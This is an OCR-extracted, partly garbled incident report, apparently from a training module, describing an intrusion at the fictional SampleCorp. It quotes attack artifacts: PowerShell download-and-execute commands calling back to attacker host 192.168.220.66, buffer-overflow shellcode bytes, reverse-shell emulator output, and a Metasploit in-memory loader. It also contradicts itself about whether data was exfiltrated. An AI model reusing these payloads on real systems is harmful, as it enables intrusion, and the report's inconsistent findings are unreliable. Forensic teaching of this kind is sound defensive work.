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Real-world Incident Report

Executive Summary

e Incident ID: INC2019-0422-022

e Incident Severity: High (P2)

e Incident Status: Resolved

e Incident Overview: On the night of April 22, 2019, at precisely 01:05:00,
SampleCorp's Security Operations Center (SOC) detected unauthorized
activity within the internal network, specifically through anomalous process
initiation and suspicious-looking PowerShell commands. Leveraging the lack
of robust network access controls and two security vulnerabilities, the
unauthorized entity successfully gained control over the following nodes within
SampleCorp's infrastructure:

o WKSTO01.samplecorp.com: A system used for software development
purposes.

o HRO1.samplecorp.com: A system used to process employee and
partner data.

e SampleCorp's SOC, in collaboration with the Digital Forensics and Incident
Response (DFIR) units, managed to successfully contain the threat, eliminate
both the introduced malicious software and existing security gaps, and
ultimately restore the compromised systems to their original state.

e Key Findings: Owing to insufficient network access controls, the unauthorized
entity was assigned an internal IP address by simply connecting their
computer to an Ethernet port within a SampleCorp office. Investigative efforts
revealed that the unauthorized entity initially compromised
WKSTO01.samplecorp.com by exploiting a vulnerable version of Acrobat
Reader. Additionally, the entity exploited a buffer overflow vulnerability, this
time in a proprietary application developed by SampleCorp, to further
penetrate the internal network. While no widespread data exfiltration was
detected, likely owing to the rapid intervention by the SOC and DFIR teams,

the unauthorized access to both WKSTO01.samplecorp.com and



HRO1.samplecorp.com raise concerns. As a result, both company and client

data should be regarded as potentially compromised to some extent.

e Immediate Actions: SampleCorp's SOC and DFIR teams exclusively managed

the incident response procedures, without the involvement of any external

service providers. Immediate action was taken to isolate the compromised

systems from the network through the use of VLAN segmentation. To facilitate

a comprehensive investigation, the SOC and DFIR teams gathered extensive

data. This included getting access to network traffic capture files. Additionally,

all affected systems were plugged to a host security solution. As for event

logs, they were automatically collected by the existing Elastic SIEM solution.

e Stakeholder Impact:

O

Customers: While no extensive data exfiltration was identified, the
unauthorized access to both WKST01.samplecorp.com and
HRO1.samplecorp.com raises concerns about the integrity and
confidentiality of customer data. As a precautionary measure, some
services were temporarily taken offline and some API keys were
revoked, leading to brief periods of downtime for customers. The
financial implications of this downtime are currently being assessed but
could result in loss of revenue and customer trust.

Employees: The compromised systems included
HRO1.samplecorp.com, which typically houses sensitive employee
information. Although we have no evidence to suggest that employee
data was specifically targeted or extracted, the potential risk remains.
Employees may be subject to identity theft or phishing attacks if their
data was compromised.

Business Partners: Given that WKSTO01.samplecorp.com, a
development environment, was among the compromised systems,
there's a possibility that proprietary code or technology could have
been exposed. This could have ramifications for business partners who
rely on the integrity and exclusivity of SampleCorp's technology
solutions.

Regulatory Bodies: The breach of systems, could have compliance

implications. Regulatory bodies may impose fines or sanctions on



SampleCorp for failing to adequately protect sensitive data, depending
on the jurisdiction and the nature of the compromised data.

Internal Teams: The SOC and DFIR teams were able to contain the
threat effectively, but the incident will likely necessitate a review and
potential overhaul of current security measures. This could mean a
reallocation of resources and budget adjustments, impacting other
departments and projects.

Shareholders: The incident could have a short-term negative impact on
stock prices due to the potential loss of customer trust and possible
regulatory fines. Long-term effects will depend on the effectiveness of
the remedial actions taken and the company's ability to restore

stakeholder confidence.



Technical Analysis

Affected Systems & Data
Owing to insufficient network access controls, the unauthorized entity was assigned
an internal IP address by simply connecting their computer to an Ethernet port within

a SampleCorp office.

The unauthorized entity successfully gained control over the following nodes within

SampleCorp's infrastructure:

e \WKSTO01.samplecorp.com: This is a development environment that contains
proprietary source code for upcoming software releases, as well as API keys
for third-party services. The unauthorized entity did navigate through various
directories, raising concerns about intellectual property theft and potential
abuse of API keys.

e HRO1.samplecorp.com: This is the Human Resources system that houses
sensitive employee and partner data, including personal identification
information, payroll details, and performance reviews. Our logs indicate that
the unauthorized entity did gain access to this system. Most concerning is that
an unencrypted database containing employee Social Security numbers and
bank account details was accessed. While we have no evidence to suggest
data was extracted, the potential risk of identity theft and financial fraud for

employees is high.

Evidence Sources & Analysis
WKSTO01.samplecorp.com

On the night of April 22, 2019, at exactly 01:05:00, SampleCorp's Security
Operations Center (SOC) identified unauthorized activity within the internal network.
This was detected through abnormal parent-child process relationships and

suspicious PowerShell commands, as displayed in the following screenshot.

From the logs, PowerShell was invoked from cmd.exe to execute the contents of a

remotely hosted script. The IP address of the remote host was an internal address,



192.168.220.66, indicating that an unauthorized entity was already present within the

internal network.

quest

ntialCache

$c=new-object

xy(); $c.Proxy.Cre

n132\WindowsPowerShell\vl.0\powersh

The earliest signs of malicious command execution point to
WKSTO01.samplecorp.com being compromised, likely due to a malicious email

attachment with a suspicious file named cv.pdf for the following reasons:

e The user accessed the email client Mozilla Thunderbird
e A suspicious file cv.pdf was opened with Adobe Reader 10.0, which is
outdated and vulnerable to security flaws.

e Malicious commands were observed immediately following these events.



April 2619, 00:20:57. "C:\Windows\
April 22nd 2019, 00:20:57. "C:\Windows\
April 22nd 2019, :24:53.007 " ools\ThunderbirdPortable\ThunderbirdPortable.

) , User opening
April 2019, 00:24:53. "C:\tools\ThunderbirdPortable\App\thunderbird\thunderbird.exe" -profile i
*C:\tools\ThunderbirdPortable\Data\profile" starting an

email client.
April ; 327 C:\Windows\SyswOW64\D11Host.exe /Processid:{AB8902B4-09CA-4BB6-B78D-

ABF59079A8D5} — After which,
user opened
a suspicious
pdf “cv.pdf”

April
April :2] 7 "C:\Program Files (x86)\Adobe\Rea

fo000
April 2 2019, 00:31:44. \ \ . <1\ 1555864304
April 2019, 131:44. -8X /c \\127.0.0. 1\ADMI 1555864304.02 2
April 2019, 131:47. cmd.exe /Q /c \\ .0.0.1\ADMINS\ 1555864304 .

April 22nd 2019, 08:31:47.861 whoami |, Start of
malicious
command

April 22nd 2019, 00:32:15. d. /Q /c ¢ .0.1\ADMINS\ 1555864304.02 2 execution

April 22nd 2019, 00:32:15.1 e /Q /c cd c: s 1> 27.0.0.1\ADMINS\ 1

April 22nd 2019,

April 22nd 2019,

per.exe

April 22nd 2019, 00:31:44.132 0 B cmd. exe /Q
\127.0.0.1

April 22nd 2019,




event_data.ParentCommandLine C:"Windows'\system32\wbem\wmiprvse. exe

event_data.ParentImage C:\Windows rstem whem'\WmiPrvSE. exe

_data.ParentProcessGuid {68C3D3DC-5F00-5CBC-0000-0010931A02007}
t_data.ParentProcessId 2120
event_data.ProcessGuid {68C3D3DC-9B18-5CBC-0000-0010AB724700}
event_data.ProcessId 2,240
event_data.Product Microsoft® Windows® Operating
_data. Sourcelp 192.168.220.66

event_data.TerminalSessionld

S £ L L L L L L L P
S £ L L L £ O O HL O
¥ OF F O OF X H ¥ * *

_data.User

As already mentioned, the unauthorized entity then executed specific PowerShell

commands.

cmd. exe /Q > 127.0.0.1\ADMINSY __
cmd. exe /Q whoami 1> 127.0.0.1\ADMINSY __
whoami
cmd . ex Q : 2 > 127.0.0.1
cmd. e Q - 127.0.0.1\ADMINSY __
cmd. e Q r > 127.0.0.1\ADMINSY __:
cmd. ex Q cd luser 1> 127.0.0.1\ADMINS\ __
cd 1x 127.0.0.1\ADMINSY __
dir 1> 127.0.0.1\ADMINS
cd Desktop 1>
cd 1» 127.0.0.1\ADMINS
cmd. e Q dir 1 . 1\ ADMINS
ond. e Q cd Current_Project 1>
cmd. e Q cd 1x 127.0.0.1\ADMINS
cmd . ex Q > 127.0.0.1\ADMINS

ond. exe /Q (
[Net.webReques i GetSystemwebPro $c.Proxy.Credentials=[Net.CredentialC ::DefaultCredentials; IEX

Sc.downloadstring( "http: //192.168.220.66: 8089/4G]10FeRzZRIey Hl 127.0.0.1\ADMINS\ __1 864304.02

C powerst .ex [ v hidden -c Sc=new-object net.webclient;Sc.proxy=

hell.exe -nop - .
[Net.webRequest]::Gets e > $c.Proxy.Credentials Cr 11Cache]: :DefaultCredentials; IEX
Sc.downloadstring("http: .66:8089/4G110FeRzZR9e H

powershell.exe -nop -w hidden -c

[Net.webRequest]:: temwebP
Sc.dow

"powershell.exe"” -noni -nop -w hidden -c &([




Brief Analysis of 192.168.220.66

From the logs, we identified four hosts on the network segment with corresponding
IP addresses and hostnames. The host 192.168.220.66, previously observed in the
logs of WKSTO01.samplecorp.com, confirms the presence of an unauthorized entity in

the internal network.

IP Hostname
192.168.220.20 DCO01.samplecorp.com
192.168.220.200 WKSTO01.samplecorp.com
192.168.220.101 HRO1.samplecorp.com
192.168.220.202 ENGO01.samplecorp.com

The below table is the result of a SIEM query that aimed to identify all instances of
command execution initiated from 192.168.220.66, based on data from

WKSTO01.samplecorp.com.

beat.hostname.key
event_data.CommandLine.keyword: Descending word: Descending Count

cmd.exe /Q /ccd 1> WKSTO01 5
\\127.0.0.1\ADMIN$\ _1555864304.02 2>&1

cmd.exe /Q /c dir 1> WKSTO01 4
\\127.0.0.1\ADMIN$\ 1555864304.02 2>&1

powershell.exe -nop -w hidden -c $c=new-object WKSTO1 2
net.webclient;$c.proxy=[Net.WebRequest]::GetSystem
WebProxy();$c.Proxy.Credentials=[Net.CredentialCache

]::DefaultCredentials;|IEX

whoami WKSTO01 1



powershell IEX (New-Object HRO1 1
Net.WebClient).DownloadString('http://192.168.220.66/t
est.php'); $m = Get-ModifiableService; $m

The results suggest that the unauthorized entity has successfully infiltrated the hosts:

WKSTO01.samplecorp.com and HRO1.samplecorp.com.

HRO01.samplecorp.com

HRO1.samplecorp.com was investigated next, as the unauthorized entity,
192.168.220.66, was shown to establish a connection with HR01.samplecorp.com at

the earliest possible moment in the packet capture.

p.addr == 192.168.220.66

2019-04-22 00:50:18.871612 “ . . ; 34514 - 31337 [SYN] Seq=@ Win=29208 Len=0 M55=1468 SAC
2019-04-22 00:50:18.871679 1337 - 34514 [SYN, ACK] Se

4514 [ACK] =1
Win=

192.1 22 6 66 3 51 Se
192,168,220.66 4444 [SYN] Seq=
192.168.220.101

192. 1¢ ). E

. BE

.101

1514 4444 -
1514 4444

Network traffic details suggest a buffer overflow attempt on the service running at

port 31337 of HRO1.samplecorp.com.
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4060
4061
4062
4063
4064
4065

Transmission Control Protocol, Src Port: 34514,

0010

The network traffic was exported as raw binary for further analysis.

11

Time

2019-04-22
2019-04-22
2019-04-22
2019-04-22
2019-04-22
2019-04-22

00:50:18,871612
00:50:18.871679
00:50:18,872096

00:50:18.878600
00:50:18.879647
00:50:18.879668

Protocol: TCP (6)
Header checksum:
[Header checksum status:
Source: 192.168.220.66
Destination: 192.168.220.101

Source Port: 34514
Destination Port: 31337
@4 35 01 8b 40 00 40
dc 65 86 d2 7a 69 c2
@0 e5 f5 40 00 @0 01
29 9 41 41 41 41 41
41 41 41 41 41 41 41
41 41 41 41 41 41 41
41 41 41 41 41 41 41
41 41 41 41 41 41 41
41 41 41 41 41 41 41
41 41 41 41 41 41 41
41 41 41 41 41 41 41
41 41 41 41 41 41 41
41 41 41 41 c3 14 o4
59 40 d9 74 24 f4 S5b
15 83 43 15 a3 64 a5
¢5 75 b7 @b f5 fe 95
b8 5d @c 85 9@ 9e of
5b ea a3 aa 10 59 54
80 c3 92 fe db ¢3 15
2b 97 6f da d4 34 4e
6a 44 35 57 b@ cl ae
5d 62 86 11 60 a7 bc
6a Oc ee 49 dd 31 f@
14 84 da 48 32 9f a9
70 25 6d e8 10 db 8e
al 36 b6 af ab a® f9

Source
192.168.220.66
192.168.220.101
192.168.220.66
192.168.220.66
192.168.220.66
192.168.220.101

@xfb3e [validation disabled]
Unverified]

Dst Port:

Destination
192.168.220.101
192.168.220.66
192.168,220.101

192.168.220.101
192.168.220.101
192.168.220.66

31337, Seq:

5-ee
e-+2i‘l1 ¢
@
) - AAAAAA
AAAAAAAA
AAAAAAAA
AAAAAAAA
AAAAAAAA
AAAAAAAA
AAAAAAAA
AAAAAAAA
AAAAAAAA
AAAA
YR ES LY =l
d V)

Protocol  Length
TCP 74
TCP 74
TCP 66
TCP 1091
TCP 66
TCP 66

1, Ack: 1, Len:

X

{

AAAAAAAA
AAAAAAAA
AAAAAAAA
AAAAAAAA
AAAAAAAA
AAAAAAAA
AAAAAAAA
AAAAAAAA
AAAAAAAA

1C

u 3-{!

] %
a-<d
IA

Info

34514
31337
34514
34514
34514
31337

31337
34514
31337
31337
31337
34514

Network traffic
+ -+ indicates a buffer

overflow attempt




Qo0 0l U A
jEIP overwrite- :
a1 41 a1fa1 a1 41
41 4 [ 4 41

41 41 4] 41 41

41 4 L 41 41

41 41 41 41 41
41 4 31 41

— Shellcode

DDDDDD: )DDDDDD
DDDDDD: DDDDDDD

The extracted binary was analyzed in a shellcode debugger, scdbg.

Scdbg reveals that the shellcode will attempt to initiate a connection to
192.168.220.66 at port 4444. This confirms that there has been an attempt to exploit

a service running on port 31337 of HRO1.samplecorp.com.
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Ic:\Users\ \Desktop\scdbg>scdbg.exe bof2.bin

error setting working directory for drag and drop mode..exe=scdbg.exe
Loaded 188 bytes from file bof2.bin

Initialization Complete..

Max Steps: 2000000

Using base offset: 0x401000

4010bb LoadLibraryA(ws2_32)

4010cb WSAStartup(190)

4010e8 WSASocket(af=2, tp=1, proto=0, group=0, flags=0)

40104 connect(h=42, host: 192.168.220.66 , port: 4444 ) = 71ab4a@7
4010f4 connect(h=42, host: 192.168.220.66 , port: 4444 ) = 71ab4a07
4010f4 connect(h=42, host: 192.168.220.66 , port: 4444 ) = 71ab4ae@7
4010f4 connect(h=42, host: 192.168.220.66 , port: 4444 ) = 71ab4a@7
40104 connect(h=42, host: 192.168.220.66 , port: 4444 ) = 7lab4ae@7

Stepcount 2000001

A search for network connections between HR01.samplecorp.com and the
unauthorized entity was conducted using the aforementioned traffic capture file.
Results revealed connections back to the unauthorized entity on port 4444. This
indicates that the unauthorized entity successfully exploited a buffer overflow vuln to

gain command execution on HR01.samplecorp.com.

p.addr =

€
931042 192.168.220. 66
.871612 192.168.220.66

7 [FIN,

. 4 [ACK]
:50:18.882800 192.168.220.66
:50:18.883067 192.168.220.101

The depth of the technical analysis can be tailored to ensure that all stakeholders are
adequately informed about the incident and the actions taken in response. While

we've chosen to keep the investigation details concise in this module to avoid

13



overwhelming you, it's important to note that in a real-world situation, every claim or

statement would be backed up with robust evidence.

Indicators of Compromise (loCs)
e C2IP: 192.168.220.66
e cv.pdf (SHA256):
ef59d7038cfd565fd65bae12588810d5361df938244ebad33b71882dcf683011

Root Cause Analysis
Insufficient network access controls allowed the unauthorized entity access to

SampleCorp's internal network.

The primary catalysts for the incident were traced back to two significant
vulnerabilities. The first vulnerability stemmed from the continued use of an outdated
version of Acrobat Reader, while the second was attributed to a buffer overflow issue
present within a proprietary application. Compounding these vulnerabilities was the
inadequate network segregation of crucial systems, leaving them more exposed and
easier targets for potential threats. Additionally, there was a notable gap in user
awareness, evident from the absence of comprehensive training against phishing

tactics, which could have served as the initial entry point for the attackers.

Technical Timeline
e Initial Compromise
o April 22nd, 2019, 00:27:27: One of the employees opened a malicious
PDF document (cv.pdf) on WKSTO01.samplecorp.com, which exploited
a known vulnerability in an outdated version of Acrobat Reader. This
led to the execution of a malicious payload that established initial
foothold on the system.
e Lateral Movement
o April 22nd, 2019, 00:50:18: The unauthorized entity leveraged the

initial access to perform reconnaissance on the internal network. They

14
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discovered a buffer overflow vulnerability in a proprietary HR
application running on HRO1.samplecorp.com. Using a crafted payload,
they exploited this vulnerability to gain unauthorized access to the HR

system.

e Data Access & Exfiltration

o

o

April 22nd, 2019, 00:35:09: The unauthorized entity accessed various
directories on WKSTO01.samplecorp.com containing both proprietary
source code and API keys.

April 22nd, 2019, 01:30:12: The unauthorized entity located an
unencrypted database on HR01.samplecorp.com containing sensitive
employee and partner data, including Social Security numbers and
salary information. They compressed this data and exfiltrated it to an

external server via a secure SSH tunnel.

e (C2 Communications

o

An unauthorized entity gained physical access to SampleCorp's
internal network. The Command and Control (C2) IP address identified
was an internal one: 192.168.220.66.

e Malware Deployment or Activity

o

The malware was disseminated via a malicious PDF document and
made extensive use of legitimate Windows binaries for staging,
command execution, and post-exploitation purposes.

Subsequently, shellcode was utilized within a buffer overflow payload to

infect HRO1.samplecorp.com.

e Containment Times

O

o

O

April 22nd, 2019, 02:30:11: SampleCorp's SOC and DFIR teams
detected the unauthorized activities and immediately isolated
WKSTO01.samplecorp.com and HR01.samplecorp.com from the
network using VLAN segmentation.

April 22nd, 2019, 03:10:14: SampleCorp's SOC and DFIR teams
plugged a host security solution to both WKST01.samplecorp.com and
HRO1.samplecorp.com to collect more data from the affected systems.
April 22nd, 2019, 03:43:34: The firewall rules were updated to block the
known C2 IP address, effectively cutting off the unauthorized entity's

remote access.



e Eradication Times

o April 22nd, 2019, 04:11:00: A specialized malware removal tool was
used to clean both WKSTO01.samplecorp.com and
HRO1.samplecorp.com of the deployed malware.

o April 22nd, 2019, 04:30:00: All systems, starting with
WKSTO01.samplecorp.com were updated to the latest version of
Acrobat Reader, mitigating the vulnerability that led to the initial
compromise.

o April 22nd, 2019, 05:01:08: The API keys that were accessed by the
unauthorized entity have been revoked.

o April 22nd, 2019, 05:05:08: The login credentials of the user who
accessed the cv.pdf file, as well as those of users who have recently
signed into both WKSTO01.samplecorp.com and
HRO1.samplecorp.com, have been reset.

e Recovery Times

o April 22nd, 2019, 05:21:20: After ensuring that
WKSTO01.samplecorp.com was malware-free, the SOC team restored
the system from a verified backup.

o April 22nd, 2019, 05:58:50: After ensuring that HR01.samplecorp.com
was malware-free, the SOC team restored the system from a verified
backup.

o April 22nd, 2019, 06:33:44: The development team rolled out an
emergency patch for the buffer overflow vulnerability in the proprietary

HR application, which was then deployed to HR0O1.samplecorp.com.



Nature of the Attack

In this segment, we should meticulously dissect the modus operandi of the
unauthorized entity, shedding light on the specific tactics, techniques, and
procedures (TTPs) they employed throughout their intrusion. For instance, let's dive
into the methods the SOC team used to determine that the unauthorized entity

utilized the Metasploit framework in their operations.

Detecting Metasploit

To better understand the tactics and techniques of the unauthorized entity, we delved
into the malicious PowerShell commands executed.

Particularly, the one shown in the following screenshot.

: :GetSystemWebProxy () ;§c.Proxy.
;1> \\

() :$c.Px tials=[Net.

IO.Compression.

Upon inspection, it became clear that double encoding was used, likely as a means
to bypass detection mechanisms. The SOC team successfully decoded the
malicious payload, revealing the exact PowerShell code executed within the memory
of WKSTO1.samplecorp.com.
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function znO1 {
Param (SgGMmE, SdW3N)
SwkQ = ([AppRemainl--CurreniRemain.GetAssemblies() | Where-Object { 5_GlobalAssemblyCache -And S_Locasion.Split("\\")[-1).Equals('System.dll') }).GeiTyRel Microsoft. Win32.UnsafeNativeMethods')

return SwkQ,GesMeroal GetProsAsdress) ¥ Services HandlsRef((New-Object Jngexp),
(SwkQ.GesMesnodl GesMaduletiandls!)) Invoke(Snull,
@(SAGMmF)))), SAW3N))

function pc70 {
Param (
[Parameter(Positio , Mandatory = $True)] [Type[]] Sw
[Parameter(Positio )] [Type] Sdawk = [Void]
)
Sx¢ai = [AnpRamain)- GurentRamain. DefineDynamichssamily| (New-Object Systam Reflection AssemblyName/ ReflegiedDelegate
[System_Reflection.Emit AssemblyBuilderAccess]-Run).DefineDynamicModule('InMemoryModule'
Sfalse). DefineTypel MuDelegateType’, 'Class, Public, Sealed, AnsiGlass, AuteClass, [SystemMulticastDelegate])
alRefineConstveior( BTSpesialName, HideBysie. Public', [System Reflection.CallingConvensions] -Standard, Swl40).setlmelemen Flzgs('Runtime, Managed')
wéaiRefineMerhed! Invoke’, "Public, HideBysig Newslot, Virtual', Sdawk, SwL40).Setimplementatiooflags('Runtime, Managed')

return SxXaj.CreateTves()

[BytelSdk =

[System.Convert]::FromBase64String("/EiDSPDo; AEFRQVBSUVZIMGIISKSYEILUhhIillgSityUEgPtOpKTTHISDHArDxhfAISIEHBYQ1BACHI7VIBUUILUICLQjxIAdBmgXgYCwIPhXIAAACLgIg AAABIhcBOZO0gBOFCLSBEIDAES
QHQ4171/8IBizSISAHWTTHISDHArEHBYQ1BAC
E44HXxTANMIAhFOAF12FhEIOAKSQHOZKGLDENEIDACSQHQQYSEIEgBOEFYQVhe WVpBWEFZQVplg+wgQVL/4FnBWVplixLpS////11IMdtTSb53aWSpbmVOAEFWSINhScFCTHemB//VU1NIieF TWkOxwEOXyVNTSbo6VamnA
BABAAAAXOTIUMTY4LjlyMC42NgBaSInBScfAmBBAAEOxyVNTagNTSbpXiZ/GAA
AAAP /VEJ4AAAAVTMISaUEzM3BqYS1NSjQwbDBKc1hzUVZudTigbkRGMKkMOUWSPTDgSLWIrSkFKanRBZ1ZSREBZNXJEUIhIMHBoVDZNTFIGdmpjaGtUVUIYVEIza2ZpNXILUVVKcnNNVOdSSFOhWjI10Ue15mpPYVEGROs1
01INOd1RHIBbzZOCc1RrbDZVNGXxxZXZDRDVEVKkdwcXd1AELwWVNaQVhNMC
VhcB1HOjHWYETAABIUKTWNeAAAAAA/SVI/ES0AUUGEFUAAABTWWDA

ero, Sdk.Length,0x3000,

[System.Runtime.InteropServices Marshal]::GetDelegateForFunctionPointeri(znO1 kernel32.dll CreateThread), (pc70 @([IntPrr), [UInt32), [intPrd, [osPro. [Vint32), [nePrdl)
voke([IntPtr]::Zero,0,Syzi,[IntPtr]::Zero,0, [IntPtr]::Zero)
 Runtime. InteropServices. Marshal]:-GetDelegateForFunctionPointer((zn01 kernel32.dIl WaitForsingleQbiect), (pc70 @([IntPtr], [Int32]))).Invoke(SgL_n6, Oxfrffffff) | Out-Null

PS C:\Users\ > [Svstem Jexs, E0coding]~ASClL.GatSing Sak)
AE’B?U‘UELEE‘?u’XD’@SlF‘?ﬁ\jm?@EE?A’E’HE?AXA AYZAXAYAZH?? AR??XAYZH?E?K???]H1?SI?wininet AVH??1??| 2?SSH??2SZM1?M12SSI2:\y? 7?7 192.168.220.66 ZH??1??? M1?SSjESIPW??? 2272
/NbyiA33pja-MI4010JsXsQVnudjnDF2C4Qo0LBS-bkIAljtAgVRDO35SwDRXHOphTEML_FvjchkTUIXTIskfiSyKQUIrsMWGyH_aZ255)5)j0aPjGK580ZChUpbh2M57GuDrAo6NsTkIEU4IgevCDSDVGpqwu H??SZAXM1?SH? 277
PSSI??PU;2PH??j

_H??jZRh?3 I??BAYI2uF?? ??M1?SZH??M1?M175SI27-BR{?72Pyl?77) 17D757 ??H?7E7772U SYI@ZR? P7E I?X?S? ?PH?SSHP?H??H?2I?? 177178777 ?7H? PHEP?PYRNZN] YI??22PVE?

By leveraging open source intelligence, our SOC team determined that this
PowerShell code is probably linked to the post-exploitation framework.

x40 reflected delegate

To support our hypothesis that Metasploit was used, we dived deeper into the
detected shellcode. We specifically exported the packet bytes containing the
shellcode (as a.bin) and subsequently submitted them to VirusTotal for evaluation.
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| W |tcp.stream eq 49 = -]

No.

Time

4060 1946.
4061 1946.
4062 1946.
4063 1946.
4064 1946.
4065 1946.

702013
702080
702497

Source
192.168.220.66
192.168.220.101
192.168.220.66
.168.220.66
.168.220.66
.168.220.101

Destination
192.168.220.101
192.168.220.66
192.168.220.101
192.168.220.101
192.168.2260.101
192.168.220.66

Protocol
TCP
TCP
TCP

Length Info
74 34514
74 31337
66 34514
1091 34514

- 31337
- 34514
- 31337

[SYN]
[SYN,
[ACK]

[Stream index: 49]
[Conversation complet
[TCP Segment Len: 102
Sequence Number: 1
Sequence Number (raw)
[Next Sequence Number
Acknowledgment Number
Acknowledgment number
1000 .... = Header L€
Flags: 0x018 (PSH, AC
Window: 229
[Calculated window s
[Window size scaling
Checksum: 0xf540 [uny
[Checksum Status: Uny
Urgent Pointer: ©
Options: (12 bytes),
[Timestamps]

[SEQ/ACK analysis]
TCP payload (1025 byt

~ Data (1025 bytes)

Datas 4143441414040 4 s e e e T e e T T T T

1

[Length: 1025]

7 Data (data.data), 1,025 bytes

Expand All

Collapse All
Apply as Column
Apply as Filter
Prepare as Filter
Conversation Filter
Colorize with Filter
Follow

Copy

Show Packet Bytes...
Export Packet Bytes...
Wiki Protocol Page
Filter Field Reference
Protocol Preferences

Decode As...

Ctrl+Shift+|

Ctrl+Shift+O
Ctrl+Shift+X

Ctrl+Shift+U

Packets: 14119 - Displayed: 6 (0.0%)

Seq=0 Win=29200 Le
ACK] Seq=0 Ack=1 W.
Seq=1 Ack=1 Win=29
ACK] Seq=1 Ack=1 W:
ACK] Seq=1026 Ack=:
Seq=1 Ack=1027 Win

Profile: Default




L— [«]$ xxd a.bin

00000000
00000010
00000020
00000030
00000040
00000050
00000060
00000070:
00000080
00000090
000000a0:
000000b0:
000000c0:
000000dO:
000000e0:
000000f0:
00000100:
00000110:
00000120:
00000130:
00000140:
00000150:

20

4141
4141
4141
4141
4141
4141
4141
4141
4141
4141
d974
4315
b70b
0cO5
EEEE]
92fe
6fda
3557
8611
ee49
dad8
6de8

4141
4141
4141
4141
4141
4141
4141
4141
4141
c314
2414
a364
f5fe
909e
1059
dbc3
d434
bocl
60a7
dd31
329f
10db

4141
4141
4141
4141
4141
4141
4141
4141
4141
0408
5b29
ab5a8
95a7
0f85
54de
15d2
4ed2
aeff
bc2e
fo31
a97a
8e09

4141
4141
4141
4141
4141
4141
4141
4141
4141
83ec
c9b1
al87
7e52
eaf2
6c62
504a
2744
3371
€946
8297
9dob
3918

4141
4141
4141
4141
4141
4141
4141
4141
4141
10da
5b83
5629
Pe33
efbd
dfac
0e37
96d5
0bo1
13a7
7adf
2637
da59

4141
4141
4141
4141
4141
4141
4141
4141
4141
d4b8
ebfc
c50e
f27b
2507
6le2
5c04
d733
90e4
a%6c¢
d7a5
5692
5189

4141
4141
4141
4141
4141
4141
4141
4141
4141
4191
3143
b318
21f4
f1fl
3c64
a583
ee25
dsed
b7e3
2088
blde
6332

4141
4141
4141
4141
4141
4141
4141
4141
4141
5940
1503
c575
b85d
5bea
80c3
2b97
6ad44
5d62
6abc
1484
7025
al36



00376052bc78536843cef4746ddci4121d2f70eddibi{749746e901fd2d5c912 Q / 2] & Signin @

\ (T) 12 security vendors and no sandboxes flagged this file as malicious (> Reanalyze = Similar - More ~

00376052bc78536843cef4746ddcf421d2f70eddfbif749746e90ffd2d5c912

file2 5 months ago

Community

DETECTION DETAILS RELATIONS COMMUNITY 1

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label (1) sh e Family labels shikata

Security vendors' analysis (i) Do you want to automate checks?
AlYac { Shikata.Gen Arcabit

Avast g A [Tr] AVG

BitDefender XF oder. Sl en ClamAV

Emsisoft V oder.Shi eScan

GData Vletacoder.S n MAX

Trellix (FireEye) Shikata.Gen VIPRE

Acronis (Static ML) /) Undetected AhnLab-V3 /) Undetected
Antiy-AVL Undetected Avira (no cloud) Undetected
Baidu Undetected BitDefenderTheta Undetected

Bkav Pro Undetected CMC Undetected

The results from VirusTotal affirmed our suspicion that Metasploit was in play. Both
metacoder and shikata are intrinsically linked to the Metasploit-generated shellcode.
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Impact Analysis

In this segment, we should dive deeper into the initial stakeholder impact analysis
presented at the outset of this report. Given the company's unique internal structure,
business landscape, and regulatory obligations, it's crucial to offer a comprehensive

evaluation of the incident's implications for every affected party.

22



Response and Recovery Analysis

Immediate Response Actions

Revocation of Access

Identification of Compromised Accounts/Systems: Using Elastic SIEM
solution, suspicious activities associated with unauthorized access were
flagged on WKSTO01.samplecorp.com. Then, a combination of traffic and log
analysis uncovered unauthorized access on HR0O1.samplecorp.com as well.
Timeframe: Unauthorized activities were detected at April 22, 2019, 01:05:00.
Access was terminated by April 22nd, 2019, 03:43:34 upon firewall rule
update to block the C2 IP address.

Method of Revocation: Alongside the firewall rules, Active Directory policies
were applied to force log-off sessions from possibly compromised accounts.
Additionally, affected user credentials were reset and accessed API keys were
revoked, further inhibiting unauthorized access.

Impact: Immediate revocation of access halted potential lateral movement,

preventing further system compromise and data exfiltration attempts.

Containment Strategy

23

e Short-term Containment: As part of the initial response, VLAN segmentation

was promptly applied, effectively isolating WKST01.samplecorp.com and
HRO1.samplecorp.com from the rest of the network, and hindering any lateral
movement by the threat actor.

Long-term Containment: The next phase of containment involves a more
robust implementation of network segmentation, ensuring specific
departments or critical infrastructure run on isolated network segments, and
robust network access controls, ensuring that only authorized devices have
access to an organization's internal network Both would reduce the attack

surface for future threats.



Effectiveness: The containment strategies were successful in ensuring that
the threat actor did not escalate privileges or move to adjacent systems, thus

limiting the incident's impact.

Eradication Measures

Malware Removal

Identification: Suspicious processes were flagged on the compromised
systems, and a deep dive forensic examination revealed traces of the
Metasploit post-exploitation framework, which was further confirmed by
VirusTotal analysis.

Removal Techniques: Using a specialized malware removal tool, all identified
malicious payloads were eradicated from WKSTO01.samplecorp.com and
HRO1.samplecorp.com.

Verification: Post-removal, a secondary scan was initiated, and a heuristic

analysis was performed to ensure no remnants of the malware persisted.

System Patching

24

e Vulnerability Identification: A vulnerable instance of Acrobat Reader was

identified, leading to the initial compromise. Cross-referencing with known
vulnerabilities pointed towards a potential exploit being used. A buffer
overflow vulnerability, in a proprietary application developed by SampleCorp
was also identified.

Patch Management: All systems, were promptly updated to the latest version
of Acrobat Reader that addressed the known vulnerability. The development
team rolled out an emergency patch for the buffer overflow vulnerability in the
proprietary HR application, which was then deployed to
HRO1.samplecorp.com. Patching was done in a staged manner, with critical

systems prioritized.



e Fallback Procedures: System snapshots and configurations were backed up
before the patching process, ensuring a swift rollback if the update introduced

any system instabilities.

Recovery Steps

Data Restoration

e Backup Validation: Prior to data restoration, backup checksums were
cross-verified to ensure the integrity of the backup data.

e Restoration Process: The SOC team meticulously restored both affected
systems from validated backups.

e Data Integrity Checks: Post-restoration, cryptographic hashing using SHA-256

was employed to verify the integrity and authenticity of the restored data.

System Validation

e Security Measures: The systems' firewalls and intrusion detection systems
were updated with the latest threat intelligence feeds, ensuring any indicators
of compromise (loCs) from this incident would trigger instant alerts.

e Operational Checks: Before reintroducing systems into the live environment, a
battery of operational tests, including load and stress testing, was conducted

to confirm the systems' stability and performance.

Post-Incident Actions
Monitoring

e Enhanced Monitoring Plans: The monitoring paradigm has been revamped to

include behavioral analytics, focusing on spotting deviations from baseline
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behaviors which could indicate compromise. In addition, inventory and asset
